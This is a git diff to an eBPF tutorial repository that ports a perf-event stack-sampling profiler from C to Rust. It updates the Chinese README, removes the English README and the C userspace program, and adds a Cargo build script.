perf event,对程序的堆栈进行定时采样,从而捕获程序的执行流程。 + +```c +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +/* Copyright (c) 2022 Meta Platforms, Inc. */ +#include "vmlinux.h" +#include +#include +#include + +#include "profile.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} events SEC(".maps"); + +SEC("perf_event") +int profile(void *ctx) +{ + int pid = bpf_get_current_pid_tgid() >> 32; + int cpu_id = bpf_get_smp_processor_id(); + struct stacktrace_event *event; + int cp; + + event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); + if (!event) + return 1; + + event->pid = pid; + event->cpu_id = cpu_id; + event->timestamp = bpf_ktime_get_ns(); // 捕获时间戳 + + if (bpf_get_current_comm(event->comm, sizeof(event->comm))) + event->comm[0] = 0; + + event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); + + event->ustack_sz = + bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + + bpf_ringbuf_submit(event, 0); + + return 0; +} +``` + +接下来,我们将重点讲解内核态代码的关键部分。 + +1. 定义 eBPF maps `events`: + + ```c + + struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); + } events SEC(".maps"); + ``` + + 这里定义了一个类型为 `BPF_MAP_TYPE_RINGBUF` 的 eBPF maps 。Ring Buffer 是一种高性能的循环缓冲区,用于在内核和用户空间之间传输数据。`max_entries` 设置了 Ring Buffer 的最大大小。 + +2. 定义 `perf_event` eBPF 程序: + + ```c + SEC("perf_event") + int profile(void *ctx) + ``` + + 这里定义了一个名为 `profile` 的 eBPF 程序,它将在 perf 事件触发时执行。 + +3. 获取进程 ID 和 CPU ID: + + ```c + int pid = bpf_get_current_pid_tgid() >> 32; + int cpu_id = bpf_get_smp_processor_id(); + ``` + + `bpf_get_current_pid_tgid()` 函数返回当前进程的 PID 和 TID,通过右移 32 位,我们得到 PID。`bpf_get_smp_processor_id()` 函数返回当前 CPU 的 ID。 + +4. 预留 Ring Buffer 空间: + + ```c + event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); + if (!event) + return 1; + ``` + + 通过 `bpf_ringbuf_reserve()` 函数预留 Ring Buffer 空间,用于存储采集的栈信息。若预留失败,返回错误. + +5. 获取当前进程名: + + ```c + + if (bpf_get_current_comm(event->comm, sizeof(event->comm))) + event->comm[0] = 0; + ``` + + 使用 `bpf_get_current_comm()` 函数获取当前进程名并将其存储到 `event->comm`。 + +6. 获取时间戳: + + ```c + event->timestamp = bpf_ktime_get_ns(); + ``` + + 使用 `bpf_ktime_get_ns()` 函数获取内核时间戳(以纳秒为单位)。 + +7. 获取内核栈信息: + + ```c + event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); + ``` + + 使用 `bpf_get_stack()` 函数获取内核栈信息。将结果存储在 `event->kstack`,并将其大小存储在 `event->kstack_sz`。 + +8. 获取用户空间栈信息: + + ```c + event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + ``` + + 同样使用 `bpf_get_stack()` 函数,但传递 `BPF_F_USER_STACK` 标志以获取用户空间栈信息。将结果存储在 `event->ustack`,并将其大小存储在 `event->ustack_sz`。 + +9. 将事件提交到 Ring Buffer: + + ```c + bpf_ringbuf_submit(event, 0); + ``` + + 最后,使用 `bpf_ringbuf_submit()` 函数将事件提交到 Ring Buffer,以便用户空间程序可以读取和处理。 + + 这个内核态 eBPF 程序通过定期采样程序的内核栈和用户空间栈来捕获程序的执行流程。这些数据将存储在 Ring Buffer 中,以便用户态的 `profile` 程序能读取。 + +### 用户态部分(Rust 实现) + +用户空间部分使用 Rust 实现,利用 libbpf-rs 和 blazesym 库来处理 eBPF 程序的加载、管理和数据处理。整个用户态程序的架构分为几个核心模块:主程序入口负责参数解析和整体流程控制,perf 模块处理性能事件的设置和管理,event 模块负责事件数据的处理和符号解析,syscall 模块封装了底层的系统调用接口。这种模块化的设计使得代码结构清晰,易于维护和扩展。 + +**主入口点(src/main.rs):** + +主程序是整个工具的入口点,负责协调各个模块的工作。它首先解析命令行参数,根据用户指定的选项配置采样频率、事件类型等参数。然后初始化 BPF 程序,设置性能监控事件,并启动事件循环来持续处理来自内核的性能数据。程序使用了 Rust 的所有权系统来确保资源的正确管理,在程序退出时自动清理所有分配的资源。 +```rust +use clap::Parser; +use libbpf_rs::PerfBufferBuilder; +use tracing::{info, warn}; +use tracing_subscriber::{fmt, EnvFilter}; + +#[derive(Debug, Parser)] +struct Args { + #[arg(short = 'f', default_value = "50")] + /// 采样频率 + freq: u64, + + #[arg(long, action = clap::ArgAction::SetTrue)] + /// 使用软件事件触发 + sw_event: bool, + + #[arg(short, long)] + /// 按 PID 过滤(可选) + pid: Option, +} + +fn main() -> Result<()> { + let args = Args::parse(); + + // 初始化日志系统 + let filter = EnvFilter::from_default_env(); + fmt().with_env_filter(filter).init(); + + // 设置 perf 事件并附加 BPF 程序 + let mut skel_builder = ProfileSkelBuilder::default(); + let mut open_skel = skel_builder.open()?; + let mut skel = open_skel.load()?; + + // 在所有 CPU 上附加 perf 事件 + for cpu in online_cpus()? { + let perf_fd = perf_event_open(cpu, args.pid, args.freq, args.sw_event)?; + skel.progs().profile().attach_perf_event(perf_fd)?; + } + + // 处理来自 ring buffer 的事件 + let mut builder = PerfBufferBuilder::new(skel.maps().events()); + builder.add_callback(handle_event); + let perf_buffer = builder.build()?; + + loop { + perf_buffer.poll(Duration::from_millis(100))?; + } +} +``` + +`perf_event_open` 这个函数是一个对 perf_event_open 系统调用的封装。它接收一个 perf_event_attr 结构体指针,用于指定 perf event 的类型和属性。pid 参数用于指定要监控的进程 ID(-1 表示监控所有进程),cpu 参数用于指定要监控的 CPU。group_fd 参数用于将 perf event 分组,这里我们使用 -1,表示不需要分组。flags 参数用于设置一些标志,这里我们使用 PERF_FLAG_FD_CLOEXEC 以确保在执行 exec 系列系统调用时关闭文件描述符。 + +在 main 函数中: + +```c +for (cpu = 0; cpu < num_cpus; cpu++) { + // ... +} +``` + +这个循环针对每个在线 CPU 设置 perf event 并附加 eBPF 程序。首先,它会检查当前 CPU 是否在线,如果不在线则跳过。然后,使用 perf_event_open() 函数为当前 CPU 设置 perf event,并将返回的文件描述符存储在 pefds 数组中。最后,使用 bpf_program__attach_perf_event() 函数将 eBPF 程序附加到 perf event。links 数组用于存储每个 CPU 上的 BPF 链接,以便在程序结束时销毁它们。 + +通过这种方式,用户态程序为每个在线 CPU 设置 perf event,并将 eBPF 程序附加到这些 perf event 上,从而实现对系统中所有在线 CPU 的监控。 + +**事件处理和符号解析(src/event.rs):** + +事件处理模块是整个性能分析工具的核心组件之一。它负责接收来自内核的原始事件数据,进行必要的转换和解析,最终输出人类可读的性能信息。这个模块的设计考虑了多种输出格式的需求,既支持标准的详细输出,也支持适合生成火焰图的折叠格式输出。模块中的时间戳转换逻辑将内核的单调时间戳转换为 Unix 时间戳,使得输出更容易理解和分析。符号解析功能则将原始的内存地址转换为函数名和源代码位置,大大提高了性能数据的可读性和实用性。 +```rust +use blazesym::{Addr, Pid, Source, Symbolizer}; +use std::time::{Duration, SystemTime}; + +pub struct Event { + pub timestamp: SystemTime, + pub pid: i32, + pub cpu_id: u32, + pub comm: String, + pub kstack: Vec, + pub ustack: Vec, +} + +impl Event { + pub fn symbolize_and_print(&self, symbolizer: &Symbolizer) { + println!("[{:?}] COMM: {} (pid={}) @ CPU {}", + self.timestamp, self.comm, self.pid, self.cpu_id); + + // 符号化内核栈 + if !self.kstack.is_empty() { + println!("Kernel:"); + let src = Source::Kernel(Default::default()); + let syms = symbolizer.symbolize(&src, &self.kstack).unwrap(); + print_stack_trace(&self.kstack, &syms); + } else { + println!("No Kernel Stack"); + } + + // 符号化用户栈 + if !self.ustack.is_empty() { + println!("Userspace:"); + let src = Source::Process(Pid::from(self.pid as u32)); + let syms = symbolizer.symbolize(&src, &self.ustack).unwrap(); + print_stack_trace(&self.ustack, &syms); + } else { + println!("No Userspace Stack"); + } + } +} + +fn print_stack_trace(addrs: &[u64], symbols: &[Vec]) { + for (addr, syms) in addrs.iter().zip(symbols.iter()) { + if syms.is_empty() { + println!("0x{:016x}: ", addr); + } else { + for sym in syms { + if let Some(name) = &sym.name { + if let Some(file) = &sym.file_name { + println!("0x{:016x}: {} @ 0x{:x}+0x{:x} {}:{}", + addr, name, sym.addr, addr - sym.addr, + file, sym.line_no.unwrap_or(0)); + } else { + println!("0x{:016x}: {} @ 0x{:x}+0x{:x}", + addr, name, sym.addr, addr - sym.addr); + } + } else { + println!("0x{:016x}: ", addr); + } + } + } + } +} +``` + +**Rust 实现的主要特性:** + +Rust 实现通过类型系统提供强类型安全,有效防止了 C 语言中常见的内存安全问题,如缓冲区溢出、空指针解引用等。这种安全性保证让开发者能够专注于业务逻辑而不必担心底层的内存管理问题。 + +符号解析是性能分析工具的核心功能之一。本实现集成了 blazesym 库,它能够高效地将内存地址转换为可读的函数名和源代码位置。blazesym 支持 DWARF 调试信息的解析,这意味着即使是经过优化的二进制文件,也能获得准确的源文件路径和行号信息。这对于定位性能瓶颈的具体代码位置至关重要。 + +错误处理方面,Rust 的 `Result` 类型提供了显式的错误处理机制。每个可能失败的操作都返回 Result 类型,强制开发者处理潜在的错误情况。这种设计避免了未处理错误导致的程序崩溃,提高了工具的稳定性和可靠性。 + +日志系统使用了 `tracing` crate,它提供了结构化的日志记录能力。通过环境变量或命令行参数,用户可以动态调整日志级别,从 WARN、INFO、DEBUG 到 TRACE,方便在不同场景下获取适当详细程度的诊断信息。这种灵活性对于调试和问题排查非常有用。 + +命令行界面通过 `clap` 库实现,提供了直观的参数解析和帮助信息生成。用户可以通过 `-f` 参数调整采样频率,使用 `--sw-event` 在虚拟机等不支持硬件性能计数器的环境中切换到软件事件,通过 `-p` 参数过滤特定进程,以及使用 `-E` 参数输出适合生成火焰图的扩展格式。 + + +这种集成方法结合了 eBPF 的性能与 Rust 的安全性和表达力,提供了一个强大的系统性能分析工具。 + + +### 总结 + +本实现展示了如何将 eBPF 的高性能监控能力与 Rust 的安全性和表达力相结合,创建一个强大而可靠的性能分析工具。通过这个例子,您可以了解到 eBPF 在性能分析方面的强大功能,以及如何使用现代系统编程语言来构建 eBPF 工具。 + +如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档: 。您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术,希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。 diff --git a/src/12-profile/README_en.md b/src/12-profile/README_en.md deleted file mode 100644 index c6a825f4..00000000 --- a/src/12-profile/README_en.md +++ /dev/null @@ -1,334 +0,0 @@ -# eBPF Tutorial by Example 12: Using eBPF Program Profile for Performance Analysis - -This tutorial will guide you on using libbpf and eBPF programs for performance analysis. We will leverage the perf mechanism in the kernel to learn how to capture the execution time of functions and view performance data. - -libbpf is a C library for interacting with eBPF. It provides the basic functionality for creating, loading, and using eBPF programs. In this tutorial, we will mainly use libbpf for development. Perf is a performance analysis tool in the Linux kernel that allows users to measure and analyze the performance of kernel and user space programs, as well as obtain corresponding call stacks. It collects performance data using hardware counters and software events in the kernel. - -## eBPF Tool: profile Performance Analysis Example - -The `profile` tool is implemented based on eBPF and utilizes the perf events in the Linux kernel for performance analysis. The `profile` tool periodically samples each processor to capture the execution of kernel and user space functions. It provides the following information for stack traces: - -- Address: memory address of the function call -- Symbol: function name -- File Name: name of the source code file -- Line Number: line number in the source code - -This information helps developers locate performance bottlenecks and optimize code. Furthermore, flame graphs can be generated based on this information for a more intuitive view of performance data. - -In this example, you can compile and run it with the libbpf library (using Ubuntu/Debian as an example): - -**NOTE:** To compile the `profile`, you first need to install `Cargo`, as shown in ["The Cargo Book"](https://rustwiki.org/en/cargo/getting-started/installation.html) - -```console -$ git submodule update --init --recursive -$ sudo apt install clang libelf1 libelf-dev zlib1g-dev -$ make -$ sudo ./profile -COMM: chronyd (pid=156) @ CPU 1 -Kernel: - 0 [] _raw_spin_lock_irqsave+0x16 - 1 [] remove_wait_queue+0x14 - 2 [] poll_freewait+0x3d - 3 [] do_select+0x7bf - 4 [] core_sys_select+0x182 - 5 [] __x64_sys_pselect6+0xea - 6 [] do_syscall_64+0x38 - 7 [] entry_SYSCALL_64_after_hwframe+0x61 -Userspace: - 0 [<00007fab187bfe09>] - 1 [<000000000ee6ae98>] - -COMM: profile (pid=9843) @ CPU 6 -No Kernel Stack -Userspace: - 0 [<0000556deb068ac8>] - 1 [<0000556dec34cad0>] -``` - -## Implementation Principle - -The `profile` tool consists of two parts: the eBPF program in kernel space and the `profile` symbol handling program in user space. The `profile` symbol handling program is responsible for loading the eBPF program and processing the data outputted by the eBPF program. - -### Kernel Space Part - -The implementation logic of the eBPF program in kernel space mainly relies on perf events to periodically sample the stack of the program, thereby capturing its execution flow. - -```c -// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause -/* Copyright (c) 2022 Meta Platforms, Inc. */ -#include "vmlinux.h" -#include -#include -#include - -#include "profile.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} events SEC(".maps"); - -SEC("perf_event") -int profile(void *ctx) -{ - int pid = bpf_get_current_pid_tgid() >> 32; - int cpu_id = bpf_get_smp_processor_id(); - struct stacktrace_event *event; - int cp; - - event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); - if (!event) - return 1; - - event->pid = pid; - event->cpu_id = cpu_id; - - if (bpf_get_current_comm(event->comm, sizeof(event->comm))) - event->comm[0] = 0; - - event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); - - event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); - - bpf_ringbuf_submit(event, 0); - - return 0; -} -``` - -Next, we will focus on the key part of the kernel code. - -1. Define eBPF maps `events`: - -```c -struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} events SEC(".maps"); -``` - -Here, a eBPF maps of type `BPF_MAP_TYPE_RINGBUF` is defined. The Ring Buffer is a high-performance circular buffer used to transfer data between the kernel and user space. `max_entries` sets the maximum size of the Ring Buffer. - -2. Define `perf_event` eBPF program: - -```c -SEC("perf_event") -int profile(void *ctx) -``` - -Here, a eBPF program named `profile` is defined, which will be executed when a perf event is triggered. - -3. Get process ID and CPU ID: - -```c -int pid = bpf_get_current_pid_tgid() >> 32; -int cpu_id = bpf_get_smp_processor_id(); -``` - -The function `bpf_get_current_pid_tgid()` returns the PID and TID of the current process. By right shifting 32 bits, we get the PID. The function `bpf_get_smp_processor_id()` returns the ID of the current CPU. - -4. Reserve space in the Ring Buffer: - -```c -event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); -if (!event) - return 1; -``` - -Use the `bpf_ringbuf_reserve()` function to reserve space in the Ring Buffer for storing the collected stack information. If the reservation fails, return an error. - -5. Get the current process name: - -```c - -if (bpf_get_current_comm(event->comm, sizeof(event->comm))) - event->comm[0] = 0; -``` - -Use the `bpf_get_current_comm()` function to get the current process name and store it in `event->comm`. - -6. Get kernel stack information: - -```c - -event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); -``` - -Use the `bpf_get_stack()` function to get kernel stack information. Store the result in `event->kstack` and the size in `event->kstack_sz`. - -7. Get user space stack information: - -```c -event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); -``` - -Using the `bpf_get_stack()` function with the `BPF_F_USER_STACK` flag retrieves information about the user space stack. Store the result in `event->ustack` and its size in `event->ustack_sz`. - -8. Submit the event to the Ring Buffer: - -```c - bpf_ringbuf_submit(event, 0); -``` - -Finally, use the `bpf_ringbuf_submit()` function to submit the event to the Ring Buffer for the user space program to read and process. - -This kernel mode eBPF program captures the program's execution flow by sampling the kernel stack and user space stack of the program periodically. These data are stored in the Ring Buffer for the user mode `profile` program to read. - -### User Mode Section - -This code is mainly responsible for setting up perf events for each online CPU and attaching eBPF programs: - -```c -static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, - int cpu, int group_fd, unsigned long flags) -{ - int ret; - - ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); - return ret; -} - -int main(){ - ... - for (cpu = 0; cpu < num_cpus; cpu++) { - /* skip offline/not present CPUs */ - if (cpu >= num_online_cpus || !online_mask[cpu]) - continue; - - /* Set up performance monitoring on a CPU/Core */ - pefd = perf_event_open(&attr, pid, cpu, -1, PERF_FLAG_FD_CLOEXEC); - if (pefd < 0) { - fprintf(stderr, "Fail to set up performance monitor on a CPU/Core\n"); - err = -1; - goto cleanup; - } - pefds[cpu] = pefd; - - /* Attach a BPF program on a CPU */ - links[cpu] = bpf_program__attach_perf_event(skel->progs.profile, pefd); - if (!links[cpu]) { - err = -1; - goto cleanup; - } - } - ... -} -``` - -The `perf_event_open` function is a wrapper for the perf_event_open system call. It takes a pointer to a perf_event_attr structure to specify the type and attributes of the perf event. The pid parameter is used to specify the process ID to monitor (-1 for monitoring all processes), and the cpu parameter is used to specify the CPU to monitor. The group_fd parameter is used to group perf events, and we use -1 here to indicate no grouping is needed. The flags parameter is used to set some flags, and we use PERF_FLAG_FD_CLOEXEC to ensure file descriptors are closed when executing exec series system calls. - -In the main function: - -```c -for (cpu = 0; cpu < num_cpus; cpu++) { - // ... -} -``` - -This loop sets up perf events and attaches eBPF programs for each online CPU. Firstly, it checks if the current CPU is online and skips if it's not. Then, it uses the perf_event_open() function to set up perf events for the current CPU and stores the returned file descriptor in the pefds array. Finally, it attaches the eBPF program to the perf event using the bpf_program__attach_perf_event() function. The links array is used to store the BPF links for each CPU so that they can be destroyed when the program ends.By doing so, user-mode programs set perf events for each online CPU and attach eBPF programs to these perf events to monitor all online CPUs in the system. - -The following two functions are used to display stack traces and handle events received from the ring buffer: - -```c -static void show_stack_trace(__u64 *stack, int stack_sz, pid_t pid) -{ - const struct blazesym_result *result; - const struct blazesym_csym *sym; - sym_src_cfg src; - int i, j; - - if (pid) { - src.src_type = SRC_T_PROCESS; - src.params.process.pid = pid; - } else { - src.src_type = SRC_T_KERNEL; - src.params.kernel.kallsyms = NULL; - src.params.kernel.kernel_image = NULL; - } - - result = blazesym_symbolize(symbolizer, &src, 1, (const uint64_t *)stack, stack_sz); - - for (i = 0; i < stack_sz; i++) { - if (!result || result->size <= i || !result->entries[i].size) { - printf(" %d [<%016llx>]\n", i, stack[i]); - continue; - } - - if (result->entries[i].size == 1) { - sym = &result->entries[i].syms[0]; - if (sym->path && sym->path[0]) { - printf(" %d [<%016llx>] %s+0x%llx %s:%ld\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %d [<%016llx>] %s+0x%llx\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address); - } - continue; - } - - printf(" %d [<%016llx>]\n", i, stack[i]); - for (j = 0; j < result->entries[i].size; j++) { - sym = &result->entries[i].syms[j]; - if (sym->path && sym->path[0]) { - printf(" %s+0x%llx %s:%ld\n", - sym->symbol, stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %s+0x%llx\n", sym->symbol, - stack[i] - sym->start_address); - } - } - } - - blazesym_result_free(result); -} - -/* Receive events from the ring buffer. */ -static int event_handler(void *_ctx, void *data, size_t size) -{ - struct stacktrace_event *event = data; - - if (event->kstack_sz <= 0 && event->ustack_sz <= 0) - return 1; - - printf("COMM: %s (pid=%d) @ CPU %d\n", event->comm, event->pid, event->cpu_id); - - if (event->kstack_sz > 0) { - printf("Kernel:\n"); - show_stack_trace(event->kstack, event->kstack_sz / sizeof(__u64), 0); - } else { - printf("No Kernel Stack\n"); - } - - if (event->ustack_sz > 0) { - printf("Userspace:\n"); - show_stack_trace(event->ustack, event->ustack_sz / sizeof(__u64), event->pid); - } else { - printf("No Userspace Stack\n"); - } - - printf("\n"); - return 0; -} -``` - -The `show_stack_trace()` function is used to display the stack trace of the kernel or userspace. It takes a `stack` parameter, which is a pointer to the kernel or userspace stack, and a `stack_sz` parameter, which represents the size of the stack. The `pid` parameter represents the ID of the process to be displayed (set to 0 when displaying the kernel stack). In the function, the source of the stack (kernel or userspace) is determined based on the `pid` parameter, and then the `blazesym_symbolize()` function is called to resolve the addresses in the stack to symbol names and source code locations. Finally, the resolved results are traversed and the symbol names and source code location information are outputted. - -The `event_handler()` function is used to handle events received from the ring buffer. It takes a `data` parameter, which points to the data in the ring buffer, and a `size` parameter, which represents the size of the data. The function first converts the `data` pointer to a pointer of type `stacktrace_event`, and then checks the sizes of the kernel and userspace stacks. If the stacks are empty, it returns directly. Next, the function outputs the process name, process ID, and CPU ID information. Then it displays the stack traces of the kernel and userspace respectively. When calling the `show_stack_trace()` function, the addresses, sizes, and process ID of the kernel and userspace stacks are passed in separately. - -These two functions are part of the eBPF profiling tool, used to display and process stack trace information collected by eBPF programs, helping users understand program performance and bottlenecks. - -### Summary - -Through this introductory tutorial on eBPF, we have learned how to use eBPF programs for performance analysis. In this process, we explained in detail how to create eBPF programs, monitor process performance, and retrieve data from the ring buffer for analyzing stack traces. We also learned how to use the `perf_event_open()` function to set up performance monitoring and attach BPF programs to performance events. In this tutorial, we also demonstrated how to write eBPF programs to capture the kernel and userspace stack information of processes in order to analyze program performance bottlenecks. With this example, you can understand the powerful features of eBPF in performance analysis. - -If you want to learn more about eBPF knowledge and practices, please refer to the official documentation of eunomia-bpf: . You can also visit our tutorial code repository or website for more examples and complete tutorials. - -The next tutorial will further explore advanced features of eBPF. We will continue to share more content about eBPF development practices to help you better understand and master eBPF technology. We hope these contents will be helpful for your learning and practice on the eBPF development journey. - -> The original link of this article: diff --git a/src/12-profile/build.rs b/src/12-profile/build.rs new file mode 100644 index 00000000..fedc8a7e --- /dev/null +++ b/src/12-profile/build.rs @@ -0,0 +1,44 @@ +use std::env; +use std::ffi::OsStr; +use std::path::Path; +use std::path::PathBuf; + +use libbpf_cargo::SkeletonBuilder; + +const SRC: &str = "src/bpf/profile.bpf.c"; + +fn main() { + let mut out = + PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script")); + out.push("profile.skel.rs"); + + let _arch = env::var("CARGO_CFG_TARGET_ARCH") + .unwrap_or_else(|_| "x86_64".to_string()); + + // Map Rust target arch to kernel arch naming + let kernel_arch = match _arch.as_str() { + "x86_64" => "x86", + "aarch64" => "arm64", + "arm" => "arm", + "powerpc64" => "powerpc", + "mips" | "mips64" => "mips", + "riscv64" => "riscv", + "loongarch64" => "loongarch", + _ => "x86", // default to x86 + }; + + // Path to the vmlinux directory containing arch-specific headers + let vmlinux_path = format!("../third_party/vmlinux/{}", kernel_arch); + + SkeletonBuilder::new() + .source(SRC) + .clang_args([ + OsStr::new("-I"), + Path::new(&vmlinux_path).as_os_str(), + OsStr::new("-I"), + Path::new(".output").as_os_str(), + ]) + .build_and_generate(out) + .expect("bpf compilation failed"); + println!("cargo:rerun-if-changed={}", SRC); +} diff --git a/src/12-profile/profile.c b/src/12-profile/profile.c deleted file mode 100644 index dc65a320..00000000 --- a/src/12-profile/profile.c +++ /dev/null @@ -1,244 +0,0 @@ -// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) -/* Copyright (c) 2022 Facebook */ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "profile.skel.h" -#include "profile.h" -#include "blazesym.h" - -/* - * This function is from libbpf, but it is not a public API and can only be - * used for demonstration. We can use this here because we statically link - * against the libbpf built from submodule during build. - */ -extern int parse_cpu_mask_file(const char *fcpu, bool **mask, int *mask_sz); - -static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, - int cpu, int group_fd, unsigned long flags) -{ - int ret; - - ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); - return ret; -} - -static struct blazesym *symbolizer; - -static void show_stack_trace(__u64 *stack, int stack_sz, pid_t pid) -{ - const struct blazesym_result *result; - const struct blazesym_csym *sym; - sym_src_cfg src; - int i, j; - - if (pid) { - src.src_type = SRC_T_PROCESS; - src.params.process.pid = pid; - } else { - src.src_type = SRC_T_KERNEL; - src.params.kernel.kallsyms = NULL; - src.params.kernel.kernel_image = NULL; - } - - result = blazesym_symbolize(symbolizer, &src, 1, (const uint64_t *)stack, stack_sz); - - for (i = 0; i < stack_sz; i++) { - if (!result || result->size <= i || !result->entries[i].size) { - printf(" %d [<%016llx>]\n", i, stack[i]); - continue; - } - - if (result->entries[i].size == 1) { - sym = &result->entries[i].syms[0]; - if (sym->path && sym->path[0]) { - printf(" %d [<%016llx>] %s+0x%llx %s:%ld\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %d [<%016llx>] %s+0x%llx\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address); - } - continue; - } - - printf(" %d [<%016llx>]\n", i, stack[i]); - for (j = 0; j < result->entries[i].size; j++) { - sym = &result->entries[i].syms[j]; - if (sym->path && sym->path[0]) { - printf(" %s+0x%llx %s:%ld\n", - sym->symbol, stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %s+0x%llx\n", sym->symbol, - stack[i] - sym->start_address); - } - } - } - - blazesym_result_free(result); -} - -/* Receive events from the ring buffer. */ -static int event_handler(void *_ctx, void *data, size_t size) -{ - struct stacktrace_event *event = data; - - if (event->kstack_sz <= 0 && event->ustack_sz <= 0) - return 1; - - printf("COMM: %s (pid=%d) @ CPU %d\n", event->comm, event->pid, event->cpu_id); - - if (event->kstack_sz > 0) { - printf("Kernel:\n"); - show_stack_trace(event->kstack, event->kstack_sz / sizeof(__u64), 0); - } else { - printf("No Kernel Stack\n"); - } - - if (event->ustack_sz > 0) { - printf("Userspace:\n"); - show_stack_trace(event->ustack, event->ustack_sz / sizeof(__u64), event->pid); - } else { - printf("No Userspace Stack\n"); - } - - printf("\n"); - return 0; -} - -static void show_help(const char *progname) -{ - printf("Usage: %s [-f ] [-h]\n", progname); -} - -int main(int argc, char * const argv[]) -{ - const char *online_cpus_file = "/sys/devices/system/cpu/online"; - int freq = 1, pid = -1, cpu; - struct profile_bpf *skel = NULL; - struct perf_event_attr attr; - struct bpf_link **links = NULL; - struct ring_buffer *ring_buf = NULL; - int num_cpus, num_online_cpus; - int *pefds = NULL, pefd; - int argp, i, err = 0; - bool *online_mask = NULL; - - while ((argp = getopt(argc, argv, "hf:")) != -1) { - switch (argp) { - case 'f': - freq = atoi(optarg); - if (freq < 1) - freq = 1; - break; - - case 'h': - default: - show_help(argv[0]); - return 1; - } - } - - err = parse_cpu_mask_file(online_cpus_file, &online_mask, &num_online_cpus); - if (err) { - fprintf(stderr, "Fail to get online CPU numbers: %d\n", err); - goto cleanup; - } - - num_cpus = libbpf_num_possible_cpus(); - if (num_cpus <= 0) { - fprintf(stderr, "Fail to get the number of processors\n"); - err = -1; - goto cleanup; - } - - skel = profile_bpf__open_and_load(); - if (!skel) { - fprintf(stderr, "Fail to open and load BPF skeleton\n"); - err = -1; - goto cleanup; - } - - symbolizer = blazesym_new(); - if (!symbolizer) { - fprintf(stderr, "Fail to create a symbolizer\n"); - err = -1; - goto cleanup; - } - - /* Prepare ring buffer to receive events from the BPF program. */ - ring_buf = ring_buffer__new(bpf_map__fd(skel->maps.events), event_handler, NULL, NULL); - if (!ring_buf) { - err = -1; - goto cleanup; - } - - pefds = malloc(num_cpus * sizeof(int)); - for (i = 0; i < num_cpus; i++) { - pefds[i] = -1; - } - - links = calloc(num_cpus, sizeof(struct bpf_link *)); - - memset(&attr, 0, sizeof(attr)); - attr.type = PERF_TYPE_HARDWARE; - attr.size = sizeof(attr); - attr.config = PERF_COUNT_HW_CPU_CYCLES; - attr.sample_freq = freq; - attr.freq = 1; - - for (cpu = 0; cpu < num_cpus; cpu++) { - /* skip offline/not present CPUs */ - if (cpu >= num_online_cpus || !online_mask[cpu]) - continue; - - /* Set up performance monitoring on a CPU/Core */ - pefd = perf_event_open(&attr, pid, cpu, -1, PERF_FLAG_FD_CLOEXEC); - if (pefd < 0) { - fprintf(stderr, "Fail to set up performance monitor on a CPU/Core\n"); - err = -1; - goto cleanup; - } - pefds[cpu] = pefd; - - /* Attach a BPF program on a CPU */ - links[cpu] = bpf_program__attach_perf_event(skel->progs.profile, pefd); - if (!links[cpu]) { - err = -1; - goto cleanup; - } - } - - /* Wait and receive stack traces */ - while (ring_buffer__poll(ring_buf, -1) >= 0) { - } - -cleanup: - if (links) { - for (cpu = 0; cpu < num_cpus; cpu++) - bpf_link__destroy(links[cpu]); - free(links); - } - if (pefds) { - for (i = 0; i < num_cpus; i++) { - if (pefds[i] >= 0) - close(pefds[i]); - } - free(pefds); - } - ring_buffer__free(ring_buf); - profile_bpf__destroy(skel); - blazesym_free(symbolizer); - free(online_mask); - return -err; -} diff --git a/src/12-profile/profile.bpf.c b/src/12-profile/src/bpf/profile.bpf.c similarity index 86% rename from src/12-profile/profile.bpf.c rename to src/12-profile/src/bpf/profile.bpf.c index 614b274b..f2e50076 100644 --- a/src/12-profile/profile.bpf.c +++ b/src/12-profile/src/bpf/profile.bpf.c @@ -28,13 +28,15 @@ int profile(void *ctx) event->pid = pid; event->cpu_id = cpu_id; + event->timestamp = bpf_ktime_get_ns(); if (bpf_get_current_comm(event->comm, sizeof(event->comm))) event->comm[0] = 0; event->kstack_sz = 